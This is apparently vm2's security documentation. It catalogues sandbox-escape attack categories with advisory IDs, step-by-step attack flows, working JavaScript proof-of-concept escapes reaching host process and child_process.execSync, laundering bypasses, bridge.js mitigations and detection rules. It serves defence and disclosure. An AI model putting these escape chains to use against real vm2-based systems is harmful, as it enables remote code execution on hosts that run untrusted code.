  1. Resolve getProto / setProto to host's Object.prototype.__proto__ accessor via Buffer.call.call({}.__lookup{Getter,Setter}__, Buffer, "__proto__").
  2. Trigger a host-realm rejection β€” await WebAssembly.compileStreaming() throws a host TypeError.
  3. In catch (e), the host TypeError arrives wrapped (the first time the bridge has seen it). Call setProto.call(getProto.call(e), null). The apply trap unwraps context to the raw host TypeError.prototype and forwards to the host setter, severing the host TypeError.prototype.[[Prototype]] from host Error.prototype.
  4. Trigger a second host-realm rejection. The fresh host TypeError instance walks back into sandbox code through V8 internals (the await machinery delivers it directly). The bridge's proto-walk no longer reaches a registered mapping at the right level, so ensureThis falls through and returns the raw host TypeError unwrapped.
  5. Sandbox reads e.constructor β†’ raw host TypeError (unwrapped, never crossed the bridge), .constructor.constructor β†’ host Function. new HostFunction("return process")() returns host process. RCE.

Canonical Example

javascript
// (advisory GHSA-v6mx-mf47-r5wg)
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
  "use strict";
  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
  async function f() {
    try { await WebAssembly.compileStreaming(); }
    catch(e) { setProto.call(getProto.call(e), null); }
    try { await WebAssembly.compileStreaming(); }
    catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")()
        .mainModule.require('child_process').execSync('touch pwned');
    }
  }
  f();
`);

Why It Works

The two underlying invariants violated:

  • Invariant A (write-side): "Sandbox code must not be able to mutate any host-realm object's prototype chain via the bridge." The proxy set / defineProperty / setPrototypeOf traps enforce this on direct mutation paths, but the apply trap creates a second mutation path β€” invoking a host prototype-mutating intrinsic as a function with a host object as this. The mutation happens inside the host intrinsic, not through any proxy, so no write trap fires.
  • Invariant B (read-side): "No host-realm object reaches sandbox code unwrapped." The bridge identifies host objects by walking the prototype chain looking for a registered mapping. When a host chain has been severed, the walk fails to find the mapping and helpers like thisEnsureThis fall through and return the raw host value AS-IS.

Together they form a compose-able primitive: mutate any host prototype β†’ break the bridge's proto-walk recognition β†’ next host value of that class arrives unwrapped β†’ e.constructor.constructor chain to host Function.

Mitigation

Two-layer structural fix in lib/bridge.js.

Layer A (write-side, primary): apply-trap refusal of host prototype mutators. At bridge init, cache the identity of every host-realm function that mutates [[Prototype]] (or could install code that mutates it):

javascript
// host Object.prototype.__proto__ setter
addDangerousHostProtoMutator(
  otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__proto__').set
);
// host Object.prototype.__defineSetter__ / __defineGetter__
// host Object.setPrototypeOf / Object.defineProperty / Object.defineProperties
// host Reflect.setPrototypeOf / Reflect.defineProperty

In the apply trap:

javascript
if (!isHost) {
  if (isDangerousHostProtoMutator(object)) throw new VMError(OPNA);
  // Peel one indirection layer: Function.prototype.call / .apply / .bind
  if (isApplyIndirectionPrimitive(object)) {
    const underlying = otherFromThis(context);
    if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);
  }
  // Peel Reflect.apply / Reflect.construct (underlying is args[0])
  if (isReflectApplyPrimitive(object)) {
    const underlying = otherFromThis(args[0]);
    if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);
  }
}

The indirection peel covers the canonical PoC shape (setProto.call(tp, null), where the apply target is Function.prototype.call and the dangerous function is context), setProto.apply(tp, [null]), and Reflect.apply(setProto, tp, [null]). The peel is depth-1 β€” recursive indirection (Function.prototype.call.call(...)) collapses into the same shape at the V8 level because Function.prototype.call is the apply target and its context is the inner reference.

Layer B (read-side, defense-in-depth): cache check before proto walk in thisEnsureThis. Before walking the prototype chain, check mappingOtherToThis for an existing wrap of other. If found, return it. This catches host-realm values the bridge has already wrapped β€” even if their prototype chains were subsequently tampered with by some other route, the cache lookup is independent of the prototype chain.

We deliberately do not wrap on the proto-walk fall-through paths (null proto, walked-off without finding a mapping). Wrapping there would re-introduce GHSA-9vg3-4rfj-wgcm β€” a sandbox-realm {__proto__: null} value passed to handleException would be turned into a host-treating proxy whose set trap unwraps sandbox-side proxies of host references onto the underlying object, recreating the very escape that fix closed. Layer A prevents the canonical attack from reaching a state where a fresh, never-bridged host object surfaces here through a tampered proto chain.

Detection Rules

  • Sandbox-applied host Object.prototype.__proto__ setter β€” reached via __lookupSetter__ on a host-prototype-bearing reference (Buffer, Error.prototype, etc.). The cache dangerousHostProtoMutators identifies it regardless of how it's named in the sandbox.
  • Sandbox-applied host Object.setPrototypeOf / Object.defineProperty / Object.defineProperties β€” reached via Object (a bridge proxy of host Object) or via a host-side method that returns these.
  • Sandbox-applied host Reflect.setPrototypeOf / Reflect.defineProperty β€” reached via Reflect (bridge proxy). Reflect.apply and Reflect.construct are tracked as indirection primitives so a sandbox using Reflect.apply(setProto, tp, [null]) is also caught.
  • Sandbox-applied host Object.prototype.__defineSetter__ / __defineGetter__ β€” would install attacker-defined accessors on a host target. Indirect mutation primitive; same chokepoint.
  • Function.prototype.call / .apply / .bind indirection β€” the apply trap peels one layer to inspect the underlying function being applied. setProto.call(...) and setProto.apply(...) are caught.
  • Reflect.apply / Reflect.construct indirection β€” the apply trap peels these and inspects args[0] as the underlying function.

Considered Attack Surfaces

  • Sandbox-realm Object.setPrototypeOf / Reflect.setPrototypeOf on sandbox values β€” not in the dangerous-mutator set (only host-realm copies are). Sandbox code can still mutate its own prototypes freely.
  • __proto__ getter (read-only) β€” not blocked. Reading a host prototype is not, by itself, a privilege-escalation primitive, and blocking the getter would break legitimate instanceof and inspection paths. The attack requires writing, which is what the dangerous-mutator set covers.
  • Deeper indirection (Function.prototype.call.call.call(...)) β€” depth-1 peel is not sufficient. See Category 37. The structural fix is delivery-time refusal in thisFromOtherWithFactory / thisFromOtherForThrow / thisEnsureThis so the sandbox never holds a callable reference to a host prototype mutator regardless of how many indirection wrappers it stacks.
  • Function.prototype.bind returning a new function β€” bound functions don't immediately apply; they're invoked later. When the bound function is eventually applied, the apply trap fires again with the bound function as object. The bound function unwraps to a host-realm "bound function exotic object" rather than the original target, so the simple identity check on the bound function's identity wouldn't hit. However, sandbox-controllable bind paths reaching a dangerous mutator can be tested adversarially; if a bypass surfaces, the peel should be extended.
  • Symbol-based "private" setter slots β€” not known to exist for prototype mutation. The defense covers the documented set of mutators.

Attack Category 32: Bridge `set` Trap Ignores Spec `Receiver` β€” Inherited-Receiver Write-Through

Advisories: GHSA-c4cf-2hgv-2qv6, GHSA-m5q2-4fm3-vfqp, GHSA-vwrp-x96c-mhwq

Tests: test/ghsa/GHSA-c4cf-2hgv-2qv6/, test/ghsa/GHSA-m5q2-4fm3-vfqp/, test/ghsa/GHSA-vwrp-x96c-mhwq/

Uses: Category 6: Proxy Trap Exploitation.

Description

ECMA-262 Β§9.5.9 [[Set]](P, V, Receiver) for Proxy exotic objects supplies the original recipient of the assignment as the Receiver parameter to the trap. When sandbox code writes to an object that inherits from a bridge proxy (Object.create(proxy).x = v) or supplies a forged receiver (Reflect.set(proxy, k, v, customReceiver)), V8 invokes the trap with Receiver set to that recipient β€” not the proxy itself. The spec-mandated behaviour for the trap is to install the property on Receiver, mirroring how ordinary objects propagate [[Set]] up the prototype chain.

Before GHSA-c4cf-2hgv-2qv6, BaseHandler.set in lib/bridge.js ignored the Receiver argument and unconditionally forwarded the write through to the wrapped host object via otherReflectSet(object, key, value). The trap now compares receiver against the canonical bridge proxy for the target and installs on the receiver itself when the two differ. Consequence of that pre-fix behaviour: every host-realm object exposed to the sandbox becomes a write channel through any inheriting receiver. A single Object.create(hostObj) produces a sandbox-side object whose every property write lands on the host object, bypassing any future write-side hardening that assumes "writes only arrive via direct proxy.x = v through the canonical proxy receiver". The originally reported path used kCustom = Symbol.for('nodejs.util.promisify.custom') as the write key against Object.create(hostFn) to install a sandbox-controlled function under the host promisifier dispatch slot, so util.promisify(hostFn)() on the host side would dispatch to attacker code. The class is generic to any key; the symbol-key shape was the sharpest end (host control flow hand-off) but plain string keys are equally write-through.

CVSS:3.1 ~8.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N β€” direct host data integrity violation; full RCE requires the host to consume the polluted slot).

Attack Flow

  1. Sandbox obtains a reference to any host-realm object the embedder exposed β€” either via sandbox: { x } or any function/value reachable through the bridge.
  2. Sandbox constructs an inheriting object: const child = Object.create(hostObj) (or any equivalent β€” Reflect.set(hostObj, k, v, sandboxObj), Object.create(Object.create(hostObj)), Object.assign(Object.create(hostObj), src)).
  3. Sandbox writes a property: child[key] = sandboxValue. V8's [[Set]] walks child β†’ proxy(hostObj) and invokes the trap with Receiver = child.
  4. The pre-fix trap discarded Receiver and ran otherReflectSet(hostObj, key, value). The property landed on hostObj on the host realm.
  5. Host code subsequently reads hostObj[key] (or Object.getOwnPropertySymbols(hostObj), or dispatches through it via a well-known protocol such as util.promisify). The attacker's value is read; if the host treats it as a callable, sandbox code runs in the host realm.

Canonical Example

javascript
// (advisory GHSA-c4cf-2hgv-2qv6)
const util = require('util');
const { VM } = require('vm2');

const hostFn = function api(cb) { cb(null, 'real-data'); };
const vm = new VM();
vm.sandbox.hostFn = hostFn;

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function () {
    return Promise.resolve('HIJACKED-VIA-RECEIVER-BUG');
  };
`);

// Host side:
util.promisify(hostFn)().then(console.log);   // β†’ "HIJACKED-VIA-RECEIVER-BUG"

Five variants share the same primitive β€” receiver !== <canonical proxy for target>:

# Primitive
1 Object.create(hostObj)[Symbol.for('nodejs.util.promisify.custom')] = fn
2 Object.create(hostObj).x = 'v' (plain string key β€” no symbol involved)
3 Reflect.set(hostObj, k, v, sandboxObj)
4 Object.create(Object.create(hostObj)).x = 'v' (deep proto chain)
5 Object.assign(Object.create(hostObj), { k: v })

Why It Works

BaseHandler.set was written to "forward writes to the host target", a reasonable mental model when the only assumption is proxy.x = v. The spec, however, defines [[Set]] over the proxy as a single trap that subsumes all writes reaching the proxy through the prototype chain β€” including writes whose original recipient is some sandbox-side child. Two existing handlers got this right by accident: ReadOnlyHandler.set writes to receiver unconditionally (its policy is "host is read-only"), and ProtectedHandler.set's function-value branch also installs on receiver. BaseHandler.set was the only trap that violated the spec β€” and because every non-intrinsic host object flows through BaseHandler (intrinsics go through ProtectedHandler's OPNA short-circuit, read-only mocks go through ReadOnlyHandler), the bug applied to every embedder-exposed object the sandbox was ever handed.

Interaction with Category 8 / GHSA-m5q2-4fm3-vfqp: the m5q2 fix expanded Symbol.for to deny the entire nodejs. namespace and added an isDangerousCrossRealmSymbol(key) rejection inside the set / defineProperty / deleteProperty traps themselves. That symmetric symbol guard fires before the receiver-mismatch check below, so the canonical symbol-key PoC (variant 1) is now structurally blocked at two independent layers even on a sandbox lacking this category's fix. The receiver bug remains a real, generic write-channel β€” variants 2–5 (plain string keys, forged Reflect.set receiver, deep proto chains, Object.assign(child, src)) reach the host write path without involving any cross-realm symbol β€” so this category's fix is required defense-in-depth on top of m5q2 rather than a duplicate of it.

Mitigation

Restores Defense Invariant 1 ("no host-realm object reaches sandbox code unwrapped") and makes an until-then implicit corollary explicit: a sandbox-originated write reaches a host-realm object only when the spec [[Set]] receiver equals the canonical bridge proxy for that object's target.

lib/bridge.js, BaseHandler.set (after the existing __proto__ and constructor-on-array short-circuits, before the host-write forwarding):

javascript
const canonicalProxy = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [object]);
if (receiver !== canonicalProxy) {
    return thisReflectDefineProperty(receiver, key, {
        __proto__: null,
        value: value,
        writable: true,
        enumerable: true,
        configurable: true,
    }) === true;
}

The lookup reuses mappingOtherToThis, which thisProxyOther already populates with [other, proxy] (!isHost) or [other, proxy2] (isHost). In the host-loaded branch the outer proxy2 is the sandbox-facing object; its empty handler forwards [[Set]] to proxy while preserving Receiver, so the BaseHandler trap fires with Receiver === proxy2. Both branches therefore yield a single canonical proxy per host target, and direct sandbox writes (hostProxy.x = v, Reflect.set(hostProxy, k, v, hostProxy), Object.assign(hostProxy, src)) continue to take the legitimate otherReflectSet path. Non-canonical receivers β€” Object.create(proxy) children, explicit-receiver Reflect.set calls, sandbox-side setPrototypeOf constructions β€” install on the receiver itself via Reflect.defineProperty, exactly as the spec mandates.

The fix is symmetric with ReadOnlyHandler.set (which uses the same install-on-receiver shape unconditionally) and with the function-value branch of ProtectedHandler.set. ProtectedHandler.set inherits the fix automatically through its super.set delegation for non-function values.

Detection Rules

  • Object.create(hostProxy) followed by property assignment on the child β€” every form: child[k] = v, Reflect.set(child, k, v), Object.defineProperty(child, k, desc) (the last installs on child directly and does not route through the trap, so it is not relevant; the first two are).
  • Reflect.set(hostProxy, k, v, receiver) where receiver !== hostProxy β€” explicit-receiver writes against any host object.
  • Object.assign(Object.create(hostProxy), src) β€” bulk pollution via the receiver-mismatch primitive.
  • Code review pattern: sandbox code that calls Object.create on any embedder-exposed object is suspicious; benign sandbox code virtually never needs to inherit from host objects.

Considered Attack Surfaces

  • Reflect.set(hostProxy, k, v, hostProxy) β€” receiver matches the canonical proxy, goes through the legitimate write path. Equivalent to hostProxy[k] = v. Existing isProtectedHostObject and __proto__ short-circuits still apply.
  • Reflect.set(hostProxy, k, v, undefined) / null β€” receiver does not strict-equal the canonical proxy β†’ install-on-receiver branch fires β†’ Reflect.defineProperty(undefined, …) throws a TypeError, the sandbox sees a TypeError, the host object is untouched.
  • Adversary-controlled Proxy receiver with a custom defineProperty trap β€” vm2 does not expose the Proxy constructor to the sandbox in plain VM mode (typeof Proxy === 'undefined'), so this composition is not reachable today. If a future change exposes Proxy, the install-on-receiver branch must be re-audited.
  • setPrototypeOf(child, hostProxy) after child already has writes β€” the next write on child walks the new prototype, fires the trap with Receiver = child, and installs on child. Host untouched.
  • BaseHandler.defineProperty β€” [[DefineOwnProperty]] carries no Receiver per ECMA-262 Β§9.5.6; Object.defineProperty(child, k, desc) where child inherits from hostProxy installs on child directly without invoking the proxy's defineProperty trap. No analogous receiver bug exists. (Object.defineProperty(hostProxy, k, desc) does route to the trap, but that path already has the isProtectedHostObject short-circuit from GHSA-vwrp-x96c-mhwq.)
  • BaseHandler.deleteProperty β€” [[Delete]] (Β§9.5.10) has no Receiver. delete child.k for child inheriting from proxy is a no-op on the proxy.
  • Compound with Category 18: Array Species Self-Return β€” Object.create(hostArray).constructor = fn now installs constructor on the sandbox child rather than (as before the existing array-constructor short-circuit) on the proxy target. The host array's raw constructor slot remains untouched in either case; neutralizeArraySpeciesBatch continues to defend the species path independently.

Attack Category 37: Stacked Indirection Bypass of Host Prototype Mutator Peel

Advisories: GHSA-v6mx-mf47-r5wg, GHSA-cfcw-xp6x-25gj

Tests: test/ghsa/GHSA-v6mx-mf47-r5wg/, test/ghsa/GHSA-cfcw-xp6x-25gj/

Uses: Category 30: Host Prototype Mutation via Bridged Setter Primitives.

Supersedes: extends Category 30 β€” the depth-1 indirection peel introduced there is the bypass surface.

Description

The GHSA-v6mx-mf47-r5wg fix added an apply-trap guard that peels one layer of Function.prototype.call / Function.prototype.apply / Function.prototype.bind / Reflect.apply / Reflect.construct indirection: when the apply target is one of those primitives, the trap unwraps context (or args[0] for Reflect.apply) and checks the underlying function against dangerousHostProtoMutators. An attacker who stacks two layers of indirection defeats that peel because the peel inspects only one position. PoC:

javascript
// (advisory GHSA-cfcw-xp6x-25gj)
Buffer.call.call(Buffer.call, setProto, target, null);

In the bridge apply trap this surfaces as:

  • object = host Function.prototype.call (outer .call)
  • context = host Function.prototype.call (the receiver Buffer.call)
  • args = [setProto, target, null]

The depth-1 peel unwraps context β†’ Function.prototype.call, which is itself an indirection primitive and not in the dangerous-mutator set. The check passes; V8 unfolds the chain inside a single host call without re-entering the apply trap; the inner Function.prototype.call invokes setProto.[[Call]](target, [null]), severing the host prototype as in Category 30. Once the prototype is severed, the canonical e.constructor.constructor pivot to host Function works.

CWE-913 (Improper Control of Dynamically-Managed Code Resources).

Attack Flow

  1. Obtain references to host Object.prototype.__proto__ accessor: setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__"), getProto analogously.
  2. Trigger a host-realm rejection (await WebAssembly.compileStreaming()).
  3. In catch (e), sever the host prototype via the double-indirection form: Buffer.call.call(Buffer.call, setProto, getProtoOf(e), null). The depth-1 v6mx peel sees only Function.prototype.call as the underlying and allows the call through.
  4. Trigger a second host-realm rejection. The bridge's read-side defense (Category 30 Layer B β€” cache check in thisEnsureThis) catches values that have already crossed via the bridge, but the freshly-thrown host TypeError has not crossed yet; with its prototype chain severed, the proto-walk falls through and ensureThis returns the raw host value.
  5. e.constructor.constructor β†’ host Function β†’ new HostFunction("return process")() β†’ RCE.

Canonical Example

javascript
// (advisory GHSA-cfcw-xp6x-25gj)
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
  const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
  async function f() {
    try { await WebAssembly.compileStreaming(); }
    catch(e) {
      Buffer.call.call(Buffer.call, setProto,
        Buffer.call.call(Buffer.call, getProto, e), null);
    }
    try { await WebAssembly.compileStreaming(); }
    catch(e) {
      e.constructor.constructor("return process")()
        .mainModule.require('child_process').execSync('touch pwned');
    }
  }
  f();
`);

Why It Works

The v6mx peel is positional: it inspects exactly one layer of indirection (object is F.p.call, look at context). A second layer pushes the dangerous function out of that position β€” context is now F.p.call, and the dangerous function is in args[0]. V8's spec for F.p.call.[[Call]](thisArg, args) is thisArg.[[Call]](args[0], args.slice(1)), so a chain of N .calls consumes N arguments before reaching the actual function β€” and V8 unfolds the chain inside a single host call without re-entering any sandbox proxy trap.

Adding deeper positional peeling would be an arms race: 3-layer (F.p.call.call.call(...)), mixed .call/.apply/Reflect.apply, and .bind-then-invoke chains all need their own positional handling. The structural answer is to deny the reference, not the invocation: refuse to ever deliver a callable host prototype mutator into the sandbox, so no number of indirection wrappers can resurrect the primitive.

Mitigation

Structural fix in lib/bridge.js β€” refuse to deliver any raw host prototype mutator across the bridge at any of the three value-crossing chokepoints. The dangerous-mutator set is already populated at bridge init by the v6mx fix; this category extends its use from "invocation check" to "delivery check":

  • thisFromOtherWithFactory β€” the main hostβ†’sandbox value path. Apply-trap return values, get-trap property reads, getOwnPropertyDescriptor .set/.get projections, and iterator yields all funnel through here.
  • thisFromOtherForThrow β€” host throw values delivered into sandbox catch blocks.
  • thisEnsureThis β€” this-coercion / catch-binding re-entry path.

In each, after the mappingOtherToThis cache check, return emptyFrozenObject if other matches isDangerousHostProtoMutator:

javascript
if (!isHost && isDangerousHostProtoMutator(other)) {
  return emptyFrozenObject;
}

This mirrors the existing handling for dangerous Function constructors (isDangerousFunctionConstructor) in the same chokepoints. The cache-check ordering is critical: connect() already registered safe sandbox-realm surrogates for Object.prototype.__defineGetter__ / __defineSetter__ (see localObject.prototype.__defineGetter__ etc. in lib/setup-sandbox.js). A cache hit returns the surrogate, preserving the legitimate sandbox API. Only the uncached, raw host references β€” exactly what the attacker needs β€” are filtered.

After this fix:

  • const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__") assigns emptyFrozenObject (the host setter never crosses the bridge).
  • Any subsequent setProto.call(...), setProto.apply(...), setProto.bind(...), or Reflect.apply(setProto, ...) synchronously throws TypeError: setProto.call is not a function β€” the sandbox cannot apply a non-callable through any number of indirection wrappers.
  • N-layer indirection, mixed .call/.apply/.bind/Reflect.apply, future built-ins that act as .call substitutes, and descriptor-projection reads all collapse at the same upstream filter. The root primitive β€” holding a reference β€” is gone.

The v6mx apply-trap peel remains in place as a complementary invocation-side check. The two layers (delivery refusal + apply-trap refusal) cover both "sandbox holds the reference and tries to apply it" and "sandbox somehow acquires the reference through a path that bypasses delivery". This restores Defense Invariant #1 ("Never expose host constructors or prototypes") at the value-crossing chokepoint rather than at the call-site, eliminating positional dependency.

Detection Rules

  • Sandbox reads any property whose value would be a host prototype mutator β€” Reflect.getOwnPropertyDescriptor, Object.getOwnPropertyDescriptors, __lookupSetter__, __lookupGetter__ results, descriptor .set/.get projections. All funnel through thisFromOtherWithFactory.
  • Sandbox catches a host throw value that resolves to a host prototype mutator β€” covered by thisFromOtherForThrow.
  • Sandbox catch-binding re-entry with a host prototype mutator β€” covered by thisEnsureThis.
  • Sandbox calls ({}).__lookupSetter__('__proto__') or ({}).__lookupGetter__('__proto__') and assigns the result β€” the result is now emptyFrozenObject, not the host accessor. Detection: assignment value is Object.isFrozen(x) && Object.keys(x).length === 0 && typeof x !== 'function'.

Considered Attack Surfaces

  • Future indirection primitives β€” any host built-in that V8 might add later, or that a Node version surfaces, that transitively invokes a function on its this. The delivery filter is layer-count and primitive-name independent; the underlying reference never crosses into the sandbox.
  • Apply-trap target/context confusion β€” if a future bug lets sandbox code reach the apply trap with the dangerous mutator as args[0] for a non-Reflect.apply target (e.g., a new Function.prototype.applyN), the v6mx peel would not match. The delivery filter does not depend on target-vs-context positioning, so this composition is also closed.
  • Object.setPrototypeOf on sandbox-realm targets β€” not in the dangerous-mutator set (only host-realm copies are). Sandbox code can still mutate its own prototypes freely via the sandbox-realm Object.setPrototypeOf, which is a different function identity from the host's.
  • Object.defineProperty on sandbox-realm targets β€” same reasoning. Sandbox-realm Object.defineProperty continues to work normally.
  • __defineGetter__ / __defineSetter__ on sandbox objects β€” the connect()-registered sandbox surrogates are returned via the mappingOtherToThis cache hit before the filter fires. Preserves the issue #176 regression behavior.

Follow-Up Bypass: Host-Side Laundering via `bind` + Host Higher-Order Method (GHSA-cfcw-xp6x-25gj, 2026-05-25)

The delivery-refusal and apply-trap-peel defenses above are both identity-based: they recognize the host indirection primitives (Function.prototype.{call,apply,bind}, Reflect.{apply,construct}) and the host prototype mutators by reference. The reporter defeated both by never holding the dangerous reference as a sandbox value and never re-crossing the bridge during the dangerous invocation:

javascript
// (advisory GHSA-cfcw-xp6x-25gj, follow-up)
const ca = Buffer.call.call(Buffer.bind, Buffer.apply, Buffer.call, Buffer.call);
// ca === host Function.prototype.apply.bind(call, call) β€” a FRESH host function
// identity, in NEITHER applyIndirectionPrimitives NOR dangerousHostProtoMutators.
function caar(a){ const r = Buffer.of().toJSON().data; r[0] = a; return r.map(ca); }
// r is a GENUINE host array; r.map(ca) runs host Array.prototype.map, which calls
// the host ca callback host-side. __lookupSetter__ and the __proto__ setter run
// entirely in the host realm β€” ZERO bridge crossings to inspect.
async function f() {
  try { await WebAssembly.compileStreaming(); }
  catch (e) {
    const g = caar([{}.__lookupGetter__, Buffer, "__proto__"]); g[1] = e;
    const s = caar([{}.__lookupSetter__, Buffer, "__proto__"]); s[1] = ca(g); s[2] = null;
    ca(s);                          // severs the host error prototype chain, host-side
  }
  try { await WebAssembly.compileStreaming(); }
  catch (e) { e.constructor.constructor("return process")()...; }
}

Why it works: Function.prototype.bind mints a fresh host function identity (ca) that bakes the indirection internally, so neither identity set matches it. Seeding a genuine host array (Buffer.of().toJSON().data) and invoking host Array.prototype.map(ca) runs the host applicator host-side β€” the dangerous __proto__ setter executes in the host realm with no bridge apply trap on the path. Instrumenting the apply trap shows zero host applies of any dangerous/indirection primitive: the whole chain is laundered host-side. Both prior defenses inspect values crossing the bridge; this composes entirely around the bridge. The severed host error then surfaces in the second catch, where e.constructor.constructor reaches host Function.

Mitigation β€” mechanism-independent payoff hardening. Rather than chase the laundering mechanism (an arms race: bind-derivatives, then Reflect.apply-derivatives, then every host higher-order method), close the payoff. The escape's terminal requirement is invariant across all severance mechanisms: a raw host-realm object with a severed prototype chain must surface in sandbox code. Two independent layers refuse exactly that:

  1. lib/bridge.js thisEnsureThis β€” the sole chokepoint that returns a host object raw on proto-walk fall-through (thisFromOtherForThrow and thisFromOtherWithFactory proxy instead). During the walk, track whether the chain passes through the sandbox Object.prototype (thisObjectPrototype). Every genuine sandbox-realm value's chain terminates there; a severed host object walks to null without ever seeing it. On fall-through, if !sawSandboxObjectProto, return emptyFrozenObject.
  2. lib/setup-sandbox.js handleException β€” the sole sanitizer the transformer routes every caught value through. isForeignSeveredHostValue(e) applies the same discriminator (chain reaches null without hitting the sandbox Object.prototype, captured at module load and unforgeable from inside the sandbox); if true, replace the value with a benign sandbox Error. Primordial Object.create(null) values (immediate null proto) are explicitly exempt, preserving GHSA-9vg3 behavior.

Both layers are mechanism-independent β€” they do not care how the chain was severed (direct bridge call, stacked indirection, or fully host-side bind/map laundering), only that the result is a foreign severed host object. Either layer alone blocks the escape; they sit at independent chokepoints (bridge re-entry vs. transformer catch sanitizer). The discriminator is sound because the raw sandbox Object.prototype only exists in the sandbox realm β€” host-side code can never hold it (it crosses the bridge as a proxy), so a host object's chain can never falsely appear to pass through it. This restores Defense Invariant #1 ("Never expose host constructors or prototypes") at the payoff β€” the universal e.constructor.constructor === host.Function pivot β€” independent of the delivery or invocation mechanism, and supersedes the positional v6mx peel and the identity-based delivery refusal for the severance-payoff class (both retained as complementary earlier-layer defenses).

A rejected alternative was tracking bind-derivatives of the applicators in the apply trap (refuse any bind-of-an-applicator as call target/this/argument). It blocks the laundering earlier but is mechanism-specific (a novel host-side execution vector that does not use bind-of-applicator would slip), higher-collateral on legitimate .call/.apply/.bind, and unnecessary given the payoff hardening already closes the class.


Attack Category 50: Host Prototype-Chain Climb via Raw `__proto__` Getter (Reader Side)

Advisories: GHSA-88hf-g992-jg85

Tests: test/ghsa/GHSA-88hf-g992-jg85/

Uses: Category 2: Prototype Chain Manipulation, Category 20: Host Intrinsic Prototype Pollution via Bridge Write Traps, Category 30: Host Prototype Mutation via Bridged Setter Primitives.

Advisory: GHSA-88hf-g992-jg85 (NodeVM default config). The reader-side analog of the GHSA-v6mx / GHSA-cfcw setter work.

Description

The bridge deliberately flattens the host prototype chain. When a host object is wrapped, its proxy's target [[Prototype]] is set so that getPrototypeOf (and the .__proto__ / Object.getPrototypeOf read paths, all of which route through the getPrototypeOf trap) reports the host value as inheriting directly from the sandbox Object.prototype, then null. The intermediate host builtin prototypes β€” Socket.prototype, Duplex.prototype, Readable.prototype, Stream.prototype, EventEmitter.prototype β€” are invisible to sandbox code.

This flattening is load-bearing: those intermediate host prototypes are not in protectedHostObjects (only cached JS intrinsic prototypes + constructors are). If sandbox code could reach one as a bridge proxy, BaseHandler.set would forward a write straight to the raw host object β€” e.g. EventEmitter.prototype.emit = fn.

The escape pierces the flattened view by extracting the raw host Object.prototype.__proto__ getter and invoking it directly. gP.call(x) bypasses the getPrototypeOf trap and returns the true host [[Prototype]] of x, freshly wrapped β€” exposing each intermediate host prototype one hop at a time. GHSA-v6mx/cfcw classified the __proto__ setter (a mutator) as dangerous but left the getter (a reader) deliverable.

CWE-913 (Improper Control of Dynamically-Managed Code Resources).

Attack Flow

  1. Extract the raw host getter: const gP = Buffer.call.call(({}).__lookupGetter__, 67, '__proto__');. Host Function.prototype.call unwraps the connect()-mapped sandbox __lookupGetter__ to its host counterpart, which (invoked host-side with this = 67) walks host Number.prototype β†’ Object.prototype and returns the host __proto__ getter. It crosses back and is wrapped as a callable bridge proxy.
  2. Climb: starting from a host object reachable in NodeVM (console._stdout), repeatedly call gP.call(cur). Each call returns the raw host [[Prototype]] β€” Socket β†’ Duplex β†’ Readable β†’ Stream β†’ EventEmitter.prototype β€” as a fresh, writable bridge proxy.
  3. Write a sandbox function onto the reached host prototype: EventEmitter.prototype.emit = fn. EE.prototype is not protected, so BaseHandler.set forwards the write to the real host object.
  4. Later, any host process.emit(...) / console.log(...) invokes the sandbox emit with this === host object β†’ arbitrary host code execution.

Canonical Example

javascript
// GHSA-88hf-g992-jg85
const { NodeVM } = require("vm2");
new NodeVM().run(`
  const gP = Buffer.call.call(({}).__lookupGetter__, 67, '__proto__');
  let cur = console._stdout, ee = null;
  for (let i = 0; i < 25; i++) {
    const p = gP.call(cur);
    if (!p) break;
    if (Object.prototype.hasOwnProperty.call(p, 'emit')) { ee = p; break; }
    cur = p;
  }
  ee.emit = function () { /* runs later with host 'this' */ };
`);

Laundering variants (all closed): Buffer.apply.apply(g, [Buffer, ['__proto__']]), Reflect.apply-based extraction, and the GHSA-cfcw map/bind host-side applicator ca β€” every one still needs a host-invocable proto-reader as a value to climb, and all such readers are denied delivery.

Why It Works

The getPrototypeOf trap returns a flattened chain; but a directly invoked raw host getter is a plain host function call whose result is the un-flattened host prototype. The prior mutator defenses (dangerousHostProtoMutators) covered only the write primitive. Reading a prototype was deemed harmless β€” but the reader hands the sandbox a writable proxy of a non-intrinsic host prototype, and non-intrinsic host prototypes are outside protectedHostObjects.

Mitigation

lib/bridge.js: classify the raw host proto-readers as dangerous-to-deliver, symmetric to the mutator set. A new identity set dangerousHostProtoReaders is populated at bridge init with the host Object.prototype.__proto__ getter, host Object.getPrototypeOf, and host Reflect.getPrototypeOf. isDangerousHostProtoReader(other) is consulted after the mappingOtherToThis cache short-circuit in the three host→sandbox delivery chokepoints — thisFromOtherWithFactory, thisEnsureThis, thisFromOtherForThrow — and returns emptyFrozenObject (a non-callable; its .call is undefined). The apply trap additionally refuses invocation of a reader (direct, one-layer Function.prototype.{call,apply,bind} peel, and Reflect.{apply,construct}) as defense-in-depth.

Because the sandbox can never hold a host-invocable proto-reader, it cannot pierce the flattened view by any composition β€” direct, stacked indirection, or host-side laundering (laundering still needs the reader as an array element, which is denied). Cache-first ordering preserves any connect()-registered sandbox surrogate. Legitimate Object.getPrototypeOf(hostProxy) / hostProxy.__proto__ / Reflect.getPrototypeOf(hostProxy) keep working: they use the sandbox-realm intrinsics and route through the getPrototypeOf trap, returning the flattened wrapped proto β€” they never extract or invoke the raw host reader. Enforces Defense Invariant: host callables that read/climb host prototype chains outside the getPrototypeOf trap must never reach the sandbox.

